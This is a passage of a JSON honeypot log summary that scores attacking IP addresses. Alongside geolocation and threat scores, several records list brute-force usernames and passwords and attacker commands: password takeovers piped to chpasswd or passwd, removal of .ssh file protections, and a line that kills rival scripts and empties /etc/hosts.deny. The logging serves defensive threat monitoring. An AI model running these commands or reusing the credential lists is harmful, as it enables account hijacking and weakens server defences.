        "days_active_30d": 24,
        "ports_targeted_30d": 9,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-07T01:44:31.311000+00:00",
        "last_seen_30d": "2026-03-30T16:40:49.448000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 16,
        "Honeytrap": 4,
        "Cowrie": 2
      }
    },
    "216.218.206.69": {
      "attack_count": 2,
      "first_seen": "2026-03-22T14:25:41.287Z",
      "last_seen": "2026-03-22T14:25:43.432Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Cazadero",
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 94.7,
      "threat_level": "critical",
      "score_components": {
        "frequency": 24.7,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 294,
        "days_active_30d": 30,
        "ports_targeted_30d": 78,
        "honeypots_triggered_30d": 9,
        "first_seen_30d": "2026-03-02T00:19:15.755000+00:00",
        "last_seen_30d": "2026-03-31T04:13:12.974000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 179,
        "Honeytrap": 98,
        "Dionaea": 7,
        "Adbhoney": 2,
        "CitrixHoneypot": 2,
        "ConPot": 2,
        "Cowrie": 2,
        "Ciscoasa": 1,
        "Ipphoney": 1
      }
    },
    "218.161.40.181": {
      "attack_count": 2,
      "first_seen": "2026-03-24T21:26:47.306Z",
      "last_seen": "2026-03-24T21:27:17.722Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Taiwan",
      "country_code": "TW",
      "city": "Taipei",
      "asn": 3462,
      "as_org": "Data Communication Business Group",
      "threat_score": 14.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-24T21:26:47.306000+00:00",
        "last_seen_30d": "2026-03-24T21:28:22.128000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "218.255.64.10": {
      "attack_count": 2,
      "first_seen": "2026-03-08T20:51:46.031Z",
      "last_seen": "2026-03-08T20:51:58.307Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": null,
      "asn": 9381,
      "as_org": "HKBN Enterprise Solutions HK Limited",
      "threat_score": 4.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-08T20:51:46.031000+00:00",
        "last_seen_30d": "2026-03-08T20:53:08.092000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "220.80.2.227": {
      "attack_count": 2,
      "first_seen": "2026-03-21T03:02:11.460Z",
      "last_seen": "2026-03-21T03:02:25.079Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Seo-gu",
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 11.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-21T03:02:11.460000+00:00",
        "last_seen_30d": "2026-03-21T03:03:30.085000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "24.145.69.21": {
      "attack_count": 2,
      "first_seen": "2026-03-25T20:54:08.092Z",
      "last_seen": "2026-03-25T20:54:21.221Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Miami Beach",
      "asn": 11776,
      "as_org": "Breezeline",
      "threat_score": 14.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-25T20:54:08.092000+00:00",
        "last_seen_30d": "2026-03-25T20:55:28.634000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "47.211.42.156": {
      "attack_count": 2,
      "first_seen": "2026-03-17T19:37:57.392Z",
      "last_seen": "2026-03-17T19:38:12.078Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Alexandria",
      "asn": 19108,
      "as_org": "Optimum",
      "threat_score": 9.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-17T19:37:57.392000+00:00",
        "last_seen_30d": "2026-03-17T19:39:13.655000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "66.227.128.243": {
      "attack_count": 2,
      "first_seen": "2026-03-22T18:57:04.950Z",
      "last_seen": "2026-03-22T18:57:20.192Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Petoskey",
      "asn": 20115,
      "as_org": "Charter Communications LLC",
      "threat_score": 12.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-22T18:57:04.950000+00:00",
        "last_seen_30d": "2026-03-22T18:58:25.548000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "91.233.250.64": {
      "attack_count": 2,
      "first_seen": "2026-03-11T06:11:31.600Z",
      "last_seen": "2026-03-11T06:13:31.608Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Poland",
      "country_code": "PL",
      "city": "Knur\u00f3w",
      "asn": 198374,
      "as_org": "GESANET Sp z.o.o",
      "threat_score": 6.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-11T06:11:31.600000+00:00",
        "last_seen_30d": "2026-03-11T06:24:21.244000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "165.154.231.129": {
      "attack_count": 806,
      "first_seen": "2026-03-09T21:26:51.581Z",
      "last_seen": "2026-03-29T21:11:54.977Z",
      "sessions": 67,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "clawd",
        "dev1",
        "devman",
        "lyh",
        "rdpuser",
        "sansforensics",
        "unity",
        "auditor",
        "boom",
        "claude",
        "comp",
        "coolify",
        "elasticsearch",
        "emo",
        "help",
        "jirka",
        "lorenzo",
        "nginx"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456",
        "12345678",
        "123",
        "1234",
        "password",
        "12345",
        "123456789qwerty",
        "123@abc",
        "9874563210",
        "Ab123456.",
        "Help123",
        "Huawei@12#$",
        "Jirka123!",
        "Nginx123!",
        "Pa$$word!",
        "QAZ@1231zxc",
        "Qwertyui1",
        "alinnick"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"12345678\\nol1n8Ajdl3J6\\nol1n8Ajdl3J6\\n\"|passwd",
        "echo \"123456\\nC84g0WSbfWw0\\nC84g0WSbfWw0\\n\"|passwd",
        "echo \"1234\\n0fmj029jV3LB\\n0fmj029jV3LB\\n\"|passwd",
        "echo \"dev1123\\niPoHKFQswjj1\\niPoHKFQswjj1\\n\"|passwd",
        "echo \"forensics\\nVB6ZHmSG8Cn7\\nVB6ZHmSG8Cn7\\n\"|passwd",
        "echo \"lyhpass\\nKE3FsjjFFLAS\\nKE3FsjjFFLAS\\n\"|passwd",
        "echo \"rdpuserpass\\nEaPI1teptD2J\\nEaPI1teptD2J\\n\"|passwd",
        "echo \"root:VPweLfBxmPXj\"|chpasswd|bash",
        "echo -e \"12345678\\nol1n8Ajdl3J6\\nol1n8Ajdl3J6\"|passwd|bash",
        "echo -e \"123456\\nC84g0WSbfWw0\\nC84g0WSbfWw0\"|passwd|bash",
        "echo -e \"1234\\n0fmj029jV3LB\\n0fmj029jV3LB\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Japan",
      "country_code": "JP",
      "city": "Tokyo",
      "asn": 142002,
      "as_org": "Scloud Pte Ltd",
      "threat_score": 55.4,
      "threat_level": "medium",
      "score_components": {
        "frequency": 29.8,
        "persistence": 17.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 963,
        "days_active_30d": 21,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-09T21:26:51.581000+00:00",
        "last_seen_30d": "2026-03-29T21:13:03.922000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 806,
        "Suricata": 157
      }
    },
    "45.40.57.41": {
      "attack_count": 697,
      "first_seen": "2026-03-08T12:09:43.540Z",
      "last_seen": "2026-03-29T13:01:25.033Z",
      "sessions": 69,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "claude",
        "ben",
        "lucas",
        "smbuser",
        "ctf",
        "db2fenc1",
        "edubook",
        "emo",
        "es",
        "f",
        "ftp",
        "gateway",
        "hari",
        "lu",
        "msf",
        "nikola",
        "ociispth",
        "old"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1234",
        "12345",
        "12345678",
        "!2345Qwert",
        "!ZZ@XX",
        "121314",
        "123",
        "123456",
        "1@3$5^7*9",
        "1ntr4n3t",
        "@admin123",
        "Aa112233",
        "Abc123456!@#",
        "Beijing2025",
        "Ben123!",
        "ChangeMe123",
        "Dq123456.",
        "Emo123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"12345\\nzEKl1chDK8pl\\nzEKl1chDK8pl\\n\"|passwd",
        "echo \"123\\nuDR5PEG0Yv0N\\nuDR5PEG0Yv0N\\n\"|passwd",
        "echo \"Ben123!\\nCfqmvnkDc4pJ\\nCfqmvnkDc4pJ\\n\"|passwd",
        "echo \"qwerty\\ntu8hwpNf388y\\ntu8hwpNf388y\\n\"|passwd",
        "echo \"root:RqQQOwHXWNQW\"|chpasswd|bash",
        "echo \"root:bdDM3yFUoFJm\"|chpasswd|bash",
        "echo -e \"12345\\nzEKl1chDK8pl\\nzEKl1chDK8pl\"|passwd|bash",
        "echo -e \"123\\nuDR5PEG0Yv0N\\nuDR5PEG0Yv0N\"|passwd|bash",
        "echo -e \"Ben123!\\nCfqmvnkDc4pJ\\nCfqmvnkDc4pJ\"|passwd|bash",
        "echo -e \"qwerty\\ntu8hwpNf388y\\ntu8hwpNf388y\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Mumbai",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 55.7,
      "threat_level": "medium",
      "score_components": {
        "frequency": 29.4,
        "persistence": 18.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 861,
        "days_active_30d": 22,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-08T12:09:43.540000+00:00",
        "last_seen_30d": "2026-03-29T13:02:31.964000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 697,
        "Suricata": 164
      }
    },
    "103.67.78.49": {
      "attack_count": 573,
      "first_seen": "2026-03-09T11:20:23.542Z",
      "last_seen": "2026-03-26T07:57:19.684Z",
      "sessions": 54,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "root",
        "boom",
        "csserver",
        "east",
        "george",
        "silvia",
        "sysadm",
        "testme",
        "admin",
        "asterix",
        "ay",
        "big",
        "cardano",
        "claude",
        "ddd",
        "hduser",
        "kali",
        "ll",
        "logan"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "password",
        "123",
        "12345678",
        "1234",
        "12345",
        "123456Aa",
        "1qaz2WSX",
        "Asd123123",
        "Boom123!",
        "Csserver123!",
        "Sysadm123",
        "ZAQ123wsx",
        "abc123456@",
        "admin",
        "asterix123",
        "ay123",
        "cardano1234",
        "ddd"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"12345678\\ntU0gkFJpgHBW\\ntU0gkFJpgHBW\\n\"|passwd",
        "echo \"Boom123!\\nif74EGuI7zWK\\nif74EGuI7zWK\\n\"|passwd",
        "echo \"Csserver123!\\nyqaK4SDR8ynX\\nyqaK4SDR8ynX\\n\"|passwd",
        "echo \"password\\nAPyozwvFMwr0\\nAPyozwvFMwr0\\n\"|passwd",
        "echo \"testme123!\\nhCvrIeb0chxW\\nhCvrIeb0chxW\\n\"|passwd",
        "echo -e \"12345678\\ntU0gkFJpgHBW\\ntU0gkFJpgHBW\"|passwd|bash",
        "echo -e \"Boom123!\\nif74EGuI7zWK\\nif74EGuI7zWK\"|passwd|bash",
        "echo -e \"Csserver123!\\nyqaK4SDR8ynX\\nyqaK4SDR8ynX\"|passwd|bash",
        "echo -e \"password\\nAPyozwvFMwr0\\nAPyozwvFMwr0\"|passwd|bash",
        "echo -e \"testme123!\\nhCvrIeb0chxW\\nhCvrIeb0chxW\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 136052,
      "as_org": "PT Cloud Hosting Indonesia",
      "threat_score": 46.2,
      "threat_level": "medium",
      "score_components": {
        "frequency": 28.4,
        "persistence": 15.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 698,
        "days_active_30d": 18,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-09T11:20:23.542000+00:00",
        "last_seen_30d": "2026-03-26T07:58:24.509000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 573,
        "Suricata": 125
      }
    },
    "103.164.9.74": {
      "attack_count": 514,
      "first_seen": "2026-03-23T02:20:50.101Z",
      "last_seen": "2026-03-23T13:06:24.586Z",
      "sessions": 32,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "mgeweb",
        "nuc",
        "pilot",
        "tomcat",
        "verdaccio",
        "zhuge",
        "adminer",
        "android",
        "ann",
        "es",
        "farmacia",
        "github",
        "labs",
        "maarch",
        "nominatim",
        "patricia",
        "peertube",
        "root",
        "simone"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "12345",
        "password",
        "123",
        "1234",
        "12345678",
        "Admin123!",
        "Adminer123",
        "Maarch123",
        "Syj123!",
        "Verdaccio123!",
        "annpass",
        "es1234",
        "githubpass",
        "mgeweb1234",
        "nucpass",
        "patricia1234",
        "pilot",
        "zhuge"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"Verdaccio123!\\nyYHjzB4rYrdK\\nyYHjzB4rYrdK\\n\"|passwd",
        "echo \"mgeweb1234\\nUHXi8VmjtojF\\nUHXi8VmjtojF\\n\"|passwd",
        "echo \"nucpass\\nVvcABUuWOCN9\\nVvcABUuWOCN9\\n\"|passwd",
        "echo \"password\\nBj8jcpzRl6bT\\nBj8jcpzRl6bT\\n\"|passwd",
        "echo \"pilot\\npATHPP8Fvchg\\npATHPP8Fvchg\\n\"|passwd",
        "echo \"zhuge\\nyTKDFLH1Fa9P\\nyTKDFLH1Fa9P\\n\"|passwd",
        "echo -e \"Verdaccio123!\\nyYHjzB4rYrdK\\nyYHjzB4rYrdK\"|passwd|bash",
        "echo -e \"mgeweb1234\\nUHXi8VmjtojF\\nUHXi8VmjtojF\"|passwd|bash",
        "echo -e \"nucpass\\nVvcABUuWOCN9\\nVvcABUuWOCN9\"|passwd|bash",
        "echo -e \"password\\nBj8jcpzRl6bT\\nBj8jcpzRl6bT\"|passwd|bash",
        "echo -e \"pilot\\npATHPP8Fvchg\\npATHPP8Fvchg\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": null,
      "asn": 141990,
      "as_org": "KHAZANA ENTERPRISE PRIVATE LIMITED",
      "threat_score": 29.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 27.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 586,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-23T02:20:50.101000+00:00",
        "last_seen_30d": "2026-03-23T13:07:25.662000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 514,
        "Suricata": 72
      }
    },
    "150.95.157.171": {
      "attack_count": 497,
      "first_seen": "2026-03-04T07:59:13.950Z",
      "last_seen": "2026-03-15T02:06:19.466Z",
      "sessions": 41,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ay",
        "michele",
        "andrey",
        "builder",
        "chris",
        "developer",
        "erp",
        "itadmin",
        "jupyter",
        "llm",
        "petr",
        "posiflex",
        "spawner",
        "wei",
        "znc"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1234",
        "123456",
        "1234561",
        "12345678",
        "1q@W3e$R",
        "Aa123456..",
        "Aaa12345",
        "Abc.1234",
        "Abc123abc123",
        "Admin@111",
        "Ay123",
        "Bingo@1993",
        "Chris123",
        "Lt12345678",
        "Qazxsw123!",
        "Znc123!",
        "admin@123",
        "admin@2025"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"Ay123\\nIh0YRP99OqlC\\nIh0YRP99OqlC\\n\"|passwd",
        "echo \"michele\\nWMQ0QvzYn1A0\\nWMQ0QvzYn1A0\\n\"|passwd",
        "echo \"root:PywPIJ30nFck\"|chpasswd|bash",
        "echo \"root:j7jyKtDOhAM8\"|chpasswd|bash",
        "echo \"root:ld7Ah0oL09BS\"|chpasswd|bash",
        "echo -e \"Ay123\\nIh0YRP99OqlC\\nIh0YRP99OqlC\"|passwd|bash",
        "echo -e \"michele\\nWMQ0QvzYn1A0\\nWMQ0QvzYn1A0\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Japan",
      "country_code": "JP",
      "city": null,
      "asn": 7506,
      "as_org": "GMO Internet Group, Inc.",
      "threat_score": 23.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 27.7,
        "persistence": 10.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 593,
        "days_active_30d": 12,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-04T07:59:13.950000+00:00",
        "last_seen_30d": "2026-03-15T02:07:24.370000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 497,
        "Suricata": 96
      }
    },
    "154.221.17.42": {
      "attack_count": 494,
      "first_seen": "2026-03-14T01:20:34.840Z",
      "last_seen": "2026-03-15T16:28:35.363Z",
      "sessions": 40,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "abc",
        "jenkins",
        "pepe",
        "student2",
        "webapp",
        "akira",
        "alexandre",
        "bai",
        "bitwarden",
        "casa",
        "cs",
        "email",
        "ftpuser01",
        "hyperic",
        "informatica",
        "itadmin",
        "kirill",
        "lionel",
        "montor"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1234",
        "12345",
        "123456",
        "12345678",
        "1q2w3e",
        "1q2w3e4r5t",
        "Admin123+",
        "Bitwarden123!",
        "Casa123!",
        "Itadmin123",
        "P@$$w0rd",
        "Student2123",
        "Tigergraph123!",
        "abc1234",
        "alexandre",
        "bai123!",
        "email123!",
        "hyperic"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"12345\\nvSn0Qq0l3dOL\\nvSn0Qq0l3dOL\\n\"|passwd",
        "echo \"P@$$w0rd\\neKa8mWfWVXXG\\neKa8mWfWVXXG\\n\"|passwd",
        "echo \"Student2123\\nKd5Jk58vNUWN\\nKd5Jk58vNUWN\\n\"|passwd",
        "echo \"abc1234\\nch8aVhdhRRPu\\nch8aVhdhRRPu\\n\"|passwd",
        "echo \"webapp123!\\nfMc0bJHt8rYH\\nfMc0bJHt8rYH\\n\"|passwd",
        "echo -e \"12345\\nvSn0Qq0l3dOL\\nvSn0Qq0l3dOL\"|passwd|bash",
        "echo -e \"P@$$w0rd\\neKa8mWfWVXXG\\neKa8mWfWVXXG\"|passwd|bash",
        "echo -e \"Student2123\\nKd5Jk58vNUWN\\nKd5Jk58vNUWN\"|passwd|bash",
        "echo -e \"abc1234\\nch8aVhdhRRPu\\nch8aVhdhRRPu\"|passwd|bash",
        "echo -e \"webapp123!\\nfMc0bJHt8rYH\\nfMc0bJHt8rYH\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 142403,
      "as_org": "YISU CLOUD LTD",
      "threat_score": 19.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 27.7,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
